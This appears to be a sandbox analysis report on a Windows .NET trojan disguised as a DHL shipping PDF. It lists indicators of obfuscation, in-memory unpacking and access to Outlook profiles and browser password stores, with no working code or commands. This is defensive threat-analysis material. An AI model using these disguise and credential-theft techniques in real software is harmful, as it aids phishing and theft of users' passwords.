Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: Section: AGB[a"h3 ZLIB complexity 1.0003868508454106

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4936a40.4.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, UltraSpeed.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.494d860.5.raw.unpack, COVIDPickers.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, c4yKy3CLwkeiWGwXdd.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, c4yKy3CLwkeiWGwXdd.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, f47vULmJNrFYpZqgtO.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, f47vULmJNrFYpZqgtO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, f47vULmJNrFYpZqgtO.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, f47vULmJNrFYpZqgtO.cs	Security API names: System.IO.DirectoryInfo.SetAccessControl(System.Security.AccessControl.DirectorySecurity)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, f47vULmJNrFYpZqgtO.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, f47vULmJNrFYpZqgtO.cs	Security API names: System.Security.AccessControl.FileSystemSecurity.AddAccessRule(System.Security.AccessControl.FileSystemAccessRule)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, c4yKy3CLwkeiWGwXdd.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, c4yKy3CLwkeiWGwXdd.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@3/3

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Mutant created: NULL
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net data provider for sqlserver

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E4D000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3538427208.0000000003D7D000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E3E000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E2F000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E6E000.00000004.00000800.00020000.00000000.sdmp, DHL Shipping Details Ref ID 446331798008765975594-pdf.exe, 00000002.00000002.3537228103.0000000002E61000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	ReversingLabs: Detection: 52%
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Virustotal: Detection: 62%

Source: unknown	Process created: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe"
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process created: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe"
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Process created: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe "C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, f47vULmJNrFYpZqgtO.cs	.Net Code: n1XkyJdOW8 System.Reflection.Assembly.Load(byte[])
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, f47vULmJNrFYpZqgtO.cs	.Net Code: n1XkyJdOW8 System.Reflection.Assembly.Load(byte[])

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe

Static PE information: 0xEC09643B [Mon Jun 27 18:40:59 2095 UTC]

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Static PE information: section name: AGB[a"h3
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A18EC00 push esp; ret	0_2_0A18EC11
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A692A2A pushfd ; ret	0_2_0A692A31
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A69C0B1 push E80C568Dh; iretd	0_2_0A69C04D
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A690634 push 26BA5A65h; retf	0_2_0A69063C
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A6934A8 pushad ; retf	0_2_0A6934A9
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A6934AA push eax; retf	0_2_0A6934B1
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A747D60 push eax; ret	0_2_0A748181
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0A74364F push E801025Eh; retf	0_2_0A743661
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 0_2_0F02487E push ecx; ret	0_2_0F024880
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0104F273 push ebp; retf	2_2_0104F281
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_01047E59 push edx; iretd	2_2_01047E5A
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06551B4A push es; iretd	2_2_06551C10
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_0655001E push es; retf	2_2_0655001C
Source: C:\Users\user\Desktop\DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Code function: 2_2_06550006 push es; retf	2_2_0655001C

Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Static PE information: section name: AGB[a"h3 entropy: 7.998392389545792
Source: DHL Shipping Details Ref ID 446331798008765975594-pdf.exe	Static PE information: section name: .text entropy: 7.913790405188838

Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, f47vULmJNrFYpZqgtO.cs	High entropy of concatenated method names: 'mkKXBdYvb3', 'WZZXRhd32J', 'PrvXbF0Gf5', 'TiCXIsLVY0', 'soEXwPPOWK', 'VOwXVAeVH2', 'aNrXUStFKo', 'UsEXm8vO4h', 'AXPXORHpZl', 'xBjXWyhpXh'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, fhnG4S7IGkBcQ6Sp8f.cs	High entropy of concatenated method names: 'l5F9I2T2Qq', 'XfE9wVMFdK', 'RIm9Vcem2o', 'MGd9UopCkK', 'N0o9aYHLt0', 'fPI9mliFhC', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, lTvSmYvDUOrDDU1wf4.cs	High entropy of concatenated method names: 'vgwyWoNrQ', 'pN7TFOnt4', 'xb72GUQk4', 'b7eJiENJ9', 'U3Gonlif2', 'T73PoNsbe', 'UWpP2vyKJKpiUXEewO', 'LfyuDXQEarV6b4LUWs', 'AEl5DY5PF', 'HVe9ILfKD'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, sPT3s0jcDlRTWgX4RK5.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'gq89ArlZMj', 'alX9nBvHL4', 'OQu98AQyV7', 'hic93dxZlY', 'lF79GCMMDn', 'cdt9HhmgWB', 'vEm9xT1jb2'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, CxCEXbxw6rnEe06hqJ.cs	High entropy of concatenated method names: 'u6FMWi83eN', 'JyGMQKsvdM', 'ToString', 'mhoMRSxTRc', 'kSbMblFKQ1', 'H3LMIvrj7J', 'z8OMwDREmG', 'AKhMV4X2VL', 'PL4MUUXscf', 'MumMmJ9fEL'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, uUpsiVY6TAwVDPPVKv.cs	High entropy of concatenated method names: 'rwTVBW6iM6', 'RdPVbIEmOK', 'GrPVwNbMNS', 'eWXVUuySSq', 'UVfVmXMLUF', 'XSMwhxywNZ', 'RKcwZ7PdDW', 'DCswqWUen6', 'uh6wlLICdn', 'yoqwE9pdCy'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, elMIJ5jjC5cd7k815MY.cs	High entropy of concatenated method names: 'EOk979Yb2A', 'Wlc9z4Y0tk', 'tSHLc29qjN', 'ASLLjQaDvy', 'gwuLvwU3qG', 'QeXLXeAc9w', 'u4fLkmjyHe', 'kQkLB9Yy2P', 'VrpLRo2pVq', 'CF0LbgKeKs'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, c4yKy3CLwkeiWGwXdd.cs	High entropy of concatenated method names: 'tYwb3WbQVH', 'NMRbGSj1nK', 'IwobHsr46o', 'diQbxYZN3q', 'v4pbhyqGDs', 'J0sbZ8hH8s', 'EASbqitMqu', 'D1SblFfRid', 'UyqbEXkSM1', 'iQhb7WCqVK'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, Ky9CtO3e8NlRrU9j3G.cs	High entropy of concatenated method names: 'zSrS4ypo3S', 'NQOSnuEwIF', 'teAS3pvrj7', 'Gk9SG3ZZoZ', 'La1SNVXUiP', 'rirSrTE8hb', 'C1YSKdp0n3', 'sjPSuXIL5t', 'U6mS1PUuLG', 'l2NSeBJ0vy'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, SG6efAkArUXHEYuTWX.cs	High entropy of concatenated method names: 'oYvjU4yKy3', 'twkjmeiWGw', 'e5OjWhQ2cN', 'AxljQyouWD', 'XbAjS6mgUp', 'wiVjt6TAwV', 'UFYeod6K0c70slFaqj', 'RKRdjxdTD59dE3RjXF', 'atoYCPqAkb9wYgo8Ak', 'xGpjj868bQ'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, YYFH038Fg7Ba4dVsZ8.cs	High entropy of concatenated method names: 'xZK6CsO3kl', 'B866oNVtjS', 'GDf6YbXpCU', 'Q2y6NchCKB', 'YUa6KR7Voj', 'vF56uZY3Wb', 'XR76egnJgD', 'ni56fqCrIQ', 'yP664N23S3', 'duL6AJYNIM'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, fcbQ2DbICkakXMZwoF.cs	High entropy of concatenated method names: 'Dispose', 'm7rjEEFNpu', 'mTjvNTmPhA', 'BqJg2ZYn3E', 'Xvsj7BjyOs', 'mjpjzajE0U', 'ProcessDialogKey', 'Hqfvc4Ujf4', 'iKKvjTYNcj', 'JXfvvRhnG4'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, Tj361az0V1Ld0cf4gr.cs	High entropy of concatenated method names: 'VEV92ZRDJg', 'jRy9CiZhan', 'm489oib1yt', 'KCG9YZ4otx', 'ikX9NX6Eym', 'PaI9Kxnwok', 'GYP9uakD2w', 'Vqy9sWWlg9', 'be29DwLv7T', 'kkx9pclC5a'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, tXGowko5OhQ2cNTxly.cs	High entropy of concatenated method names: 'So0ITgMSXe', 'FhQI2JtAHI', 'pdTICAojWt', 'N1KIo3raUM', 'yBBISbKuVY', 'BUHItUMlkH', 'POmIMKwVke', 'SK3I5rIhmI', 'REwIaAeDM0', 'IVSI9cKEUi'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, M4Ujf4EwKKTYNcjuXf.cs	High entropy of concatenated method names: 'm5vaYJSEou', 'iupaNXufuq', 'vniar9iIOR', 'pg9aK1IuGS', 'xEOauLnE4F', 'qP2a1VprV5', 'rCdaeacPbl', 'g68afaEMae', 'Rlma088xJw', 'jXIa4bWvXy'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, ygJQObIlKrQWvchxKd.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'ogtvEASb2j', 'B4Kv7MLw5C', 'xFYvzpqRRv', 'm9YXceQD82', 'lNcXjnPDms', 'k02XvCeEPW', 'sXlXXFjTVE', 'OmpC5hF9i2mXr0Q1HZ4'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, Ikv8N3HYv9CSW5eDE4.cs	High entropy of concatenated method names: 'ToString', 'xtQtAqQt2y', 'XdptNZT9ch', 'Tiytr4raKZ', 'CYItKxWKO5', 'urotu42rVO', 'O3Kt1TryVT', 'G5Vte6556p', 'bUotf8vo1w', 'DwLt0e4t3x'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, T9AcilZkX1nbqZn73F.cs	High entropy of concatenated method names: 'tZjMlnikRc', 'ThmM77ce0Q', 'Usg5cusg83', 'siP5jhWfXW', 'dUaMAxka2R', 'D9rMn6u9V8', 'CKFM8x4tGq', 'zJMM3GXiqQ', 'cqmMGhW4Wk', 'b82MHSTFb4'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, AYAsSq0sXguNnJDAQA.cs	High entropy of concatenated method names: 'qWUUD3HZCn', 'zLVUpFauKV', 'fjGUyXsU85', 'rVhUT1twfJ', 'LkDUi0Y4PV', 'd6CU27fU2L', 'fgtUJfctyU', 'vIyUCUD89R', 'DLIUo1OPma', 'o4iUPRs12E'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, Q2fOA1qatW7rEFNpul.cs	High entropy of concatenated method names: 'eOiaSWugiR', 'jxVaMNaTgg', 'Ef1aaWHtPa', 'tJ5aLHteCb', 'Op3aF1gLlw', 'uCKasOCjkk', 'Dispose', 'OJF5ReNk9w', 'iTH5b7cxN9', 'sEo5IeuCNd'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, EuWDX0P92e5X6lbA6m.cs	High entropy of concatenated method names: 'WfUwiGtg3w', 'n5SwJ043wG', 'S2OIrMVgYd', 'UGCIKTnVL2', 'XM2IuDCqni', 'zRNI128TCc', 'QonIe0vrum', 'KjUIfJQn1w', 'MrAI0fGKm4', 'yCYI40dEI5'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.4877e60.3.raw.unpack, ye4SI0eTwELSnnrSOG.cs	High entropy of concatenated method names: 'quxURvpZTX', 'TokUIwhOJn', 'GDnUVBL5Lp', 'NyiV7J985B', 'YFpVzOQgtD', 'uB2UcxcI9J', 'h2PUjIhHX2', 'YnQUvsdFZm', 'vhEUXC2QT6', 'oIsUk4mwRt'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, f47vULmJNrFYpZqgtO.cs	High entropy of concatenated method names: 'mkKXBdYvb3', 'WZZXRhd32J', 'PrvXbF0Gf5', 'TiCXIsLVY0', 'soEXwPPOWK', 'VOwXVAeVH2', 'aNrXUStFKo', 'UsEXm8vO4h', 'AXPXORHpZl', 'xBjXWyhpXh'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, fhnG4S7IGkBcQ6Sp8f.cs	High entropy of concatenated method names: 'l5F9I2T2Qq', 'XfE9wVMFdK', 'RIm9Vcem2o', 'MGd9UopCkK', 'N0o9aYHLt0', 'fPI9mliFhC', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, lTvSmYvDUOrDDU1wf4.cs	High entropy of concatenated method names: 'vgwyWoNrQ', 'pN7TFOnt4', 'xb72GUQk4', 'b7eJiENJ9', 'U3Gonlif2', 'T73PoNsbe', 'UWpP2vyKJKpiUXEewO', 'LfyuDXQEarV6b4LUWs', 'AEl5DY5PF', 'HVe9ILfKD'
Source: 0.2.DHL Shipping Details Ref ID 446331798008765975594-pdf.exe.a8c0000.7.raw.unpack, sPT3s0jcDlRTWgX4RK5.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'gq89ArlZMj', 'alX9nBvHL4', 'OQu98AQyV7', 'hic93dxZlY', 'lF79GCMMDn', 'cdt9HhmgWB', 'vEm9xT1jb2'
